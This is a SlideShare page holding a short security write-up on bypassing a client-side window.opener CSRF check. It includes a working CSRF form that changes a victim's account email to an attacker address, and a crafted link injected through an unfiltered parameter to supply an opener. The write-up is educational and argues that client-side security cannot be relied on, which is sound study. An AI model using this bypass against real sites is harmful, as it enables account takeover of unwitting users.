SlideShare a Scribd company logo
1 of 7
Download to read offline
| Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 1
Abusing Windows Opener to Bypass CSRF
Protection
(Never Relay On Client Side)
Narendra Bhati
@NarendraBhatiB
http://websecgeeks.com
| Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 2
Contents
1. Abstract..........................................................................................................................................................3
2. Introduction ................................................................................................................................................3
3. Analysis..........................................................................................................................................................4
4. Exploiting .....................................................................................................................................................6
5. Conclusion....................................................................................................................................................7
| Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 3
1. Abstract
Due to the increase in use of Modern Web Application, Security is the main concern. For
security the developer mostly relay on Client Side Validation Mechanism. Those security
features makes web application more flexible and perform better but it comes with great
cost.
The client side validation is easy to bypass so 70% of web applications are vulnerable due
client side validation mechanism.
While I was working on a Web Application, I came across to an interesting security
mechanism which prevent the CSRF Attack.
2. Introduction
If we are talking about CSRF Protection, Then basically we think about 3 Fixes.
1) Referrer Check
2) Random Tokens Form Based
3) Cookie Based Random Tokens
Now the CSRF protection which I am talking about right now was deployed by using a
JavaScript Code, Which was totally on client side due to JavaScript nature.
| Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 4
3. Analysis
As we can see the HTTP Header
POST /home/accountsettings HTTP/1.1
Host: websecgeeks.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101
Firefox/36.0
Referer: http://websecgeeks.com/
Connection: keep-alive
Content-Length: 57
newemail=attacker@something.com&Submit=Save
We can say that this code might be vulnerable to CSRF, as there is no Random Tokens exist. So I
tried to test it by creating an html page like this
<html>
<body>
<form action=”http://websecgeeks.com/home/accountsettings” method=”POST”>
<input type=”hidden” name=”newemail” value=”attacker@attacker.com” />
<input type=”hidden” name=”Submit” value=”Save” />
<input type=”submit” value=”Submit form” />
</form>
</body>
</html>
But when I execute this page in an authenticated session, the application logged out me
immediately. I tried one more time and again the application logged out me.
May be this application is validating the Referrer Value, so I manually added valid
referrer value. But Application logged me out again.
| Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 5
After some time I found an interesting JavaScript Code which was reason behind this
protection.
The Code Was Like Below
<script>
if(window.opener ==null){
top.location.href=”/homedirectory/logoutuser”;
}
</script>
As we can see the code, we can clearly say that this code is looking for a windows opener
value. If the opener value is equal to "null" then application will simply logged us out
and terminate the session, which was very pretty if we talk about CSRF.
According to Windows Opener Description.
When a window is opened from another window, it maintains a reference to that first
window as window.opener. If the current window has no opener, this method returns
NULL. Windows Phone browser does not support window.opener. It is also not
supported in IE if the opener is in a different security zone.
Now anyhow we have to set the windows opener value to while doing CSRF attack.
| Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 6
4. Exploiting
After analysis, I found a way from where we can create an Opener Value which is HREF
HTML Tag.
So I created two pages
1) xss.php
2) csrf3.html
1) Both pages are hosted on attacker web server, Currently assume as “localhost”
"xss.php" is the page where I create a HREF link to the "csrf3.html"
“xss.php” is passing a parameter called “zip” as GET method. Basically I keep the “zip”
as un-filtered, so whatever you inject in this, will display on page as it as. So I injected
the HREF TAG as Below
<a href="http://127.0.0.1/csrf3.html">Link For Target Application</a>
2) The second csrf3.html page will be like this as we seen in previous.
<html>
<body>
<form action=”http://websecgeeks.com/home/accountsettings”
method=”POST”>
<input type=”hidden” name=”newemail” value=”attacker@attacker.com”
/>
<input type=”hidden” name=”Submit” value=”Save” />
<input type=”submit” value=”Submit form” />
</form>
</body>
</html>
And final URL which should be sent to victim is
http://127.0.0.1/xss.php?zip=<a href="http://127.0.0.1/csrf3.html">Link For Target
Application</a>
| Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 7
Below you can see the screen shot.
3. Now I am set. After clicking the Link given as HREF tag, I was able to open a new
page in new tab without getting logout, and also able to Bypass the CSRF Security.
5. Conclusion
As we already know that client side security is not a good idea. After this demonstration we can say
that creating new idea about preventing web application attacks is pretty good, but it is important
that how we implement them.

More Related Content

What's hot

Top 10 Security Vulnerabilities (2006)
Top 10 Security Vulnerabilities (2006)Top 10 Security Vulnerabilities (2006)
Top 10 Security Vulnerabilities (2006)Susam Pal
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionMikhail Egorov
 
Security In PHP Applications
Security In PHP ApplicationsSecurity In PHP Applications
Security In PHP ApplicationsAditya Mooley
 
Same Origin Policy Weaknesses
Same Origin Policy WeaknessesSame Origin Policy Weaknesses
Same Origin Policy Weaknesseskuza55
 
OAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
OAuth Hacks A gentle introduction to OAuth 2 and Apache OltuOAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
OAuth Hacks A gentle introduction to OAuth 2 and Apache OltuAntonio Sanso
 
Static Analysis: The Art of Fighting without Fighting
Static Analysis: The Art of Fighting without FightingStatic Analysis: The Art of Fighting without Fighting
Static Analysis: The Art of Fighting without FightingRob Ragan
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)Kishor Kumar
 
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015 Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015 lokeshpidawekar
 
APIDOC In A Nutshell
APIDOC In A NutshellAPIDOC In A Nutshell
APIDOC In A NutshellBen Liu
 
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsMikhail Egorov
 
Threat Hunting Web Shells Using Splunk
Threat Hunting Web Shells Using SplunkThreat Hunting Web Shells Using Splunk
Threat Hunting Web Shells Using Splunkjamesmbower
 
Filter Evasion: Houdini on the Wire
Filter Evasion: Houdini on the WireFilter Evasion: Houdini on the Wire
Filter Evasion: Houdini on the WireRob Ragan
 
Web-servers & Application Hacking
Web-servers & Application HackingWeb-servers & Application Hacking
Web-servers & Application HackingRaghav Bisht
 
Examining And Bypassing The IE8 XSS Filter
Examining And Bypassing The IE8 XSS FilterExamining And Bypassing The IE8 XSS Filter
Examining And Bypassing The IE8 XSS Filterkuza55
 
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSWeb Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSIvan Ortega
 
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...bugcrowd
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveGreenD0g
 
Writing automation tests with python selenium behave pageobjects
Writing automation tests with python selenium behave pageobjectsWriting automation tests with python selenium behave pageobjects
Writing automation tests with python selenium behave pageobjectsLeticia Rss
 

What's hot (20)

Top 10 Security Vulnerabilities (2006)
Top 10 Security Vulnerabilities (2006)Top 10 Security Vulnerabilities (2006)
Top 10 Security Vulnerabilities (2006)
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
 
Security In PHP Applications
Security In PHP ApplicationsSecurity In PHP Applications
Security In PHP Applications
 
Same Origin Policy Weaknesses
Same Origin Policy WeaknessesSame Origin Policy Weaknesses
Same Origin Policy Weaknesses
 
OAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
OAuth Hacks A gentle introduction to OAuth 2 and Apache OltuOAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
OAuth Hacks A gentle introduction to OAuth 2 and Apache Oltu
 
Static Analysis: The Art of Fighting without Fighting
Static Analysis: The Art of Fighting without FightingStatic Analysis: The Art of Fighting without Fighting
Static Analysis: The Art of Fighting without Fighting
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)
 
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015 Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
 
Flashack
FlashackFlashack
Flashack
 
APIDOC In A Nutshell
APIDOC In A NutshellAPIDOC In A Nutshell
APIDOC In A Nutshell
 
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webapps
 
Threat Hunting Web Shells Using Splunk
Threat Hunting Web Shells Using SplunkThreat Hunting Web Shells Using Splunk
Threat Hunting Web Shells Using Splunk
 
Filter Evasion: Houdini on the Wire
Filter Evasion: Houdini on the WireFilter Evasion: Houdini on the Wire
Filter Evasion: Houdini on the Wire
 
Web-servers & Application Hacking
Web-servers & Application HackingWeb-servers & Application Hacking
Web-servers & Application Hacking
 
Examining And Bypassing The IE8 XSS Filter
Examining And Bypassing The IE8 XSS FilterExamining And Bypassing The IE8 XSS Filter
Examining And Bypassing The IE8 XSS Filter
 
Hack and Slash: Secure Coding
Hack and Slash: Secure CodingHack and Slash: Secure Coding
Hack and Slash: Secure Coding
 
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSWeb Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
 
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
How to Shot Web - Jason Haddix at DEFCON 23 - See it Live: Details in Descrip...
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another Perspective
 
Writing automation tests with python selenium behave pageobjects
Writing automation tests with python selenium behave pageobjectsWriting automation tests with python selenium behave pageobjects
Writing automation tests with python selenium behave pageobjects
 

Viewers also liked

Introducción al cómputo en la nube
Introducción al cómputo en la nubeIntroducción al cómputo en la nube
Introducción al cómputo en la nubeDave Rendón
 
LHW Scope of work
LHW Scope of workLHW Scope of work
LHW Scope of workAltaf Sonia
 
Tpartes del teclado
Tpartes del tecladoTpartes del teclado
Tpartes del tecladoberenbhj
 
Eminent company&amp;products profile -total
Eminent company&amp;products profile -totalEminent company&amp;products profile -total
Eminent company&amp;products profile -total莲花 怡出
 
Building and Maintaining Open Source Project - YWC14
Building and Maintaining Open Source Project - YWC14Building and Maintaining Open Source Project - YWC14
Building and Maintaining Open Source Project - YWC14Akarawuth Tamrareang
 
Emergency procedure at height
Emergency procedure at heightEmergency procedure at height
Emergency procedure at heightMECandPMV
 
Família- Sociologia 12ºAno
Família- Sociologia 12ºAnoFamília- Sociologia 12ºAno
Família- Sociologia 12ºAnoturma12d
 
Tecnica e instrumento de evaluacion
Tecnica e instrumento de evaluacionTecnica e instrumento de evaluacion
Tecnica e instrumento de evaluacionLuisa Genao
 
सत्र ३-४ सुशासन
सत्र ३-४   सुशासन सत्र ३-४   सुशासन
सत्र ३-४ सुशासन INGENAES
 
Sunqu Catálogo Perfiles
Sunqu Catálogo Perfiles Sunqu Catálogo Perfiles
Sunqu Catálogo Perfiles SUNQU
 
Escala likert randall corrales montoya
Escala likert   randall corrales montoyaEscala likert   randall corrales montoya
Escala likert randall corrales montoyaMCMurray
 

Viewers also liked (16)

Introducción al cómputo en la nube
Introducción al cómputo en la nubeIntroducción al cómputo en la nube
Introducción al cómputo en la nube
 
LHW Scope of work
LHW Scope of workLHW Scope of work
LHW Scope of work
 
4 Symphonies
4 Symphonies4 Symphonies
4 Symphonies
 
new doc 8 (1)
new doc 8 (1)new doc 8 (1)
new doc 8 (1)
 
Report 130501
Report 130501Report 130501
Report 130501
 
Tpartes del teclado
Tpartes del tecladoTpartes del teclado
Tpartes del teclado
 
Hiperbola
HiperbolaHiperbola
Hiperbola
 
Acuerdo no. ca 002 2010
Acuerdo no. ca 002   2010Acuerdo no. ca 002   2010
Acuerdo no. ca 002 2010
 
Eminent company&amp;products profile -total
Eminent company&amp;products profile -totalEminent company&amp;products profile -total
Eminent company&amp;products profile -total
 
Building and Maintaining Open Source Project - YWC14
Building and Maintaining Open Source Project - YWC14Building and Maintaining Open Source Project - YWC14
Building and Maintaining Open Source Project - YWC14
 
Emergency procedure at height
Emergency procedure at heightEmergency procedure at height
Emergency procedure at height
 
Família- Sociologia 12ºAno
Família- Sociologia 12ºAnoFamília- Sociologia 12ºAno
Família- Sociologia 12ºAno
 
Tecnica e instrumento de evaluacion
Tecnica e instrumento de evaluacionTecnica e instrumento de evaluacion
Tecnica e instrumento de evaluacion
 
सत्र ३-४ सुशासन
सत्र ३-४   सुशासन सत्र ३-४   सुशासन
सत्र ३-४ सुशासन
 
Sunqu Catálogo Perfiles
Sunqu Catálogo Perfiles Sunqu Catálogo Perfiles
Sunqu Catálogo Perfiles
 
Escala likert randall corrales montoya
Escala likert   randall corrales montoyaEscala likert   randall corrales montoya
Escala likert randall corrales montoya
 

Similar to Abusing Windows Opener To Bypass CSRF Protection

Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web SecurityChris Shiflett
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011Samvel Gevorgyan
 
Understanding dom based xss
Understanding dom based xssUnderstanding dom based xss
Understanding dom based xssPotato
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMagno Logan
 
Linkedin.com DomXss 04-08-2014
Linkedin.com DomXss 04-08-2014Linkedin.com DomXss 04-08-2014
Linkedin.com DomXss 04-08-2014Giorgio Fedon
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooNahidul Kibria
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfyashvirsingh48
 
Web Application Security in Rails
Web Application Security in RailsWeb Application Security in Rails
Web Application Security in RailsUri Nativ
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Amit Tyagi
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesBrad Hill
 
A4 A K S H A Y B H A R D W A J
A4    A K S H A Y  B H A R D W A JA4    A K S H A Y  B H A R D W A J
A4 A K S H A Y B H A R D W A Jbhardwajakshay
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front endErlend Oftedal
 
Cross-Site Scripting course made by Cristian Alexandrescu
Cross-Site Scripting course made by Cristian Alexandrescu Cross-Site Scripting course made by Cristian Alexandrescu
Cross-Site Scripting course made by Cristian Alexandrescu Cristian Alexandrescu
 
Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009mirahman
 

Similar to Abusing Windows Opener To Bypass CSRF Protection (20)

Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
 
XSS
XSSXSS
XSS
 
Micro frontends
Micro frontendsMicro frontends
Micro frontends
 
Understanding dom based xss
Understanding dom based xssUnderstanding dom based xss
Understanding dom based xss
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
 
Linkedin.com DomXss 04-08-2014
Linkedin.com DomXss 04-08-2014Linkedin.com DomXss 04-08-2014
Linkedin.com DomXss 04-08-2014
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs too
 
Advanced xss
Advanced xssAdvanced xss
Advanced xss
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdf
 
Web Application Security in Rails
Web Application Security in RailsWeb Application Security in Rails
Web Application Security in Rails
 
Secure java script-for-developers
Secure java script-for-developersSecure java script-for-developers
Secure java script-for-developers
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
XSS Injection Vulnerabilities
XSS Injection VulnerabilitiesXSS Injection Vulnerabilities
XSS Injection Vulnerabilities
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
A4 A K S H A Y B H A R D W A J
A4    A K S H A Y  B H A R D W A JA4    A K S H A Y  B H A R D W A J
A4 A K S H A Y B H A R D W A J
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front end
 
Cross-Site Scripting course made by Cristian Alexandrescu
Cross-Site Scripting course made by Cristian Alexandrescu Cross-Site Scripting course made by Cristian Alexandrescu
Cross-Site Scripting course made by Cristian Alexandrescu
 
Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009
 

Recently uploaded

How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .Alan Dix
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo DayH2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo DaySri Ambati
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionDilum Bandara
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfRankYa
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLScyllaDB
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupFlorian Wilhelm
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piececharlottematthew16
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 

Recently uploaded (20)

How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo DayH2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An Introduction
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdf
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQL
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project Setup
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptx
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piece
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 

Abusing Windows Opener To Bypass CSRF Protection

  • 1. | Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 1 Abusing Windows Opener to Bypass CSRF Protection (Never Relay On Client Side) Narendra Bhati @NarendraBhatiB http://websecgeeks.com
  • 2. | Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 2 Contents 1. Abstract..........................................................................................................................................................3 2. Introduction ................................................................................................................................................3 3. Analysis..........................................................................................................................................................4 4. Exploiting .....................................................................................................................................................6 5. Conclusion....................................................................................................................................................7
  • 3. | Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 3 1. Abstract Due to the increase in use of Modern Web Application, Security is the main concern. For security the developer mostly relay on Client Side Validation Mechanism. Those security features makes web application more flexible and perform better but it comes with great cost. The client side validation is easy to bypass so 70% of web applications are vulnerable due client side validation mechanism. While I was working on a Web Application, I came across to an interesting security mechanism which prevent the CSRF Attack. 2. Introduction If we are talking about CSRF Protection, Then basically we think about 3 Fixes. 1) Referrer Check 2) Random Tokens Form Based 3) Cookie Based Random Tokens Now the CSRF protection which I am talking about right now was deployed by using a JavaScript Code, Which was totally on client side due to JavaScript nature.
  • 4. | Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 4 3. Analysis As we can see the HTTP Header POST /home/accountsettings HTTP/1.1 Host: websecgeeks.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Referer: http://websecgeeks.com/ Connection: keep-alive Content-Length: 57 newemail=attacker@something.com&Submit=Save We can say that this code might be vulnerable to CSRF, as there is no Random Tokens exist. So I tried to test it by creating an html page like this <html> <body> <form action=”http://websecgeeks.com/home/accountsettings” method=”POST”> <input type=”hidden” name=”newemail” value=”attacker@attacker.com” /> <input type=”hidden” name=”Submit” value=”Save” /> <input type=”submit” value=”Submit form” /> </form> </body> </html> But when I execute this page in an authenticated session, the application logged out me immediately. I tried one more time and again the application logged out me. May be this application is validating the Referrer Value, so I manually added valid referrer value. But Application logged me out again.
  • 5. | Abusing Windows Opener To Bypass CSRF Protection | | Narendra Bhati | Page 5 After some time I found an interesting JavaScript Code which was reason behind this protection. The Code Was Like Below <script> if(window.opener ==null){ top.location.href=”/homedirectory/logoutuser”; } </script> As we can see the code, we can clearly say that this code is looking for a windows opener value. If the opener value is equal to "null" then application will simply logged us out and terminate the session, which was very pretty if we talk about CSRF. According to Windows Opener Description. When a window is opened from another window, it maintains a reference to that first window as window.opener. If the current window has no opener, this method returns NULL. Windows Phone browser does not support window.opener. It is also not supported in IE if the opener is in a different security zone. Now anyhow we have to set the windows opener value to while doing CSRF attack.
